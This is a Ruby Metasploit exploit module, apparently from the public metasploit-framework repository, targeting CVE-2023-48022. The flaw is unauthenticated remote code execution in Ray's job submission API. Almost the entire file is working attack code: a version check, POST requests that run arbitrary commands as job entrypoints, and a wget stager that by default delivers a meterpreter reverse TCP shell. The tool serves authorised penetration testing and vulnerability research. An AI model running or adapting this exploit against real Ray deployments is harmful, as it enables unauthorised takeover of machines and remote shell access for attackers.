Takahiro Yokoyama
c66540ef2f
use MeterpreterTryToFork to avoid a meterpreter session get killed Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
126 lines
3.8 KiB
Ruby
126 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Ray Agent Job RCE',
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'Description' => %q{
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RCE in Ray via the agent job submission endpoint.
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This is intended functionality as Ray's main purpose is executing arbitrary workloads.
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By default Ray has no authentication.
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},
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'Author' => [
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'sierrabearchell', # Vulnerability discovery
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'byt3bl33d3r <marcello@protectai.com>', # Python Metasploit module
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'Takahiro Yokoyama' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' => [
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['CVE', '2023-48022'],
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['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
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['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
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],
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'CmdStagerFlavor' => %i[wget],
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'Payload' => {
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'DisableNops' => true
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},
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'Platform' => %w[linux],
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'Targets' => [
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[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
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[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
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[ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
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[
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'Linux Command', {
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'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
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'FETCH_COMMAND' => 'WGET',
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'MeterpreterTryToFork' => true
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2023-11-15',
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'Notes' => {
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'Stability' => [ CRASH_SAFE, ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
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'Reliability' => [ REPEATABLE_SESSION, ]
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}
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)
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)
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register_options(
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[
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Opt::RPORT(8265),
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]
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)
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end
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def get_job_data(cmd)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
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'data' => { 'entrypoint' => cmd }.to_json
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})
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unless res && res.code == 200
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
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'data' => { 'entrypoint' => cmd }.to_json
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})
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end
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return unless res && res.code == 200
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JSON.parse(res.body)
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end
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def check
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'api/version')
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})
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return Exploit::CheckCode::Unknown unless res && res.code == 200
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ray_version = res.get_json_document['ray_version']
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return Exploit::CheckCode::Unknown unless ray_version
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return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')
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@job_data = get_job_data('ls')
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return Exploit::CheckCode::Vulnerable unless @job_data.nil?
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Exploit::CheckCode::Appears
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end
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def exploit
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@job_data ||= get_job_data('ls')
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if @job_data
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print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
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end
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case target['Type']
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when :nix_cmd
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execute_command(payload.encoded)
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else
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execute_cmdstager({ flavor: :wget })
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end
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end
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def execute_command(cmd, _opts = {})
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get_job_data(cmd)
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end
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end
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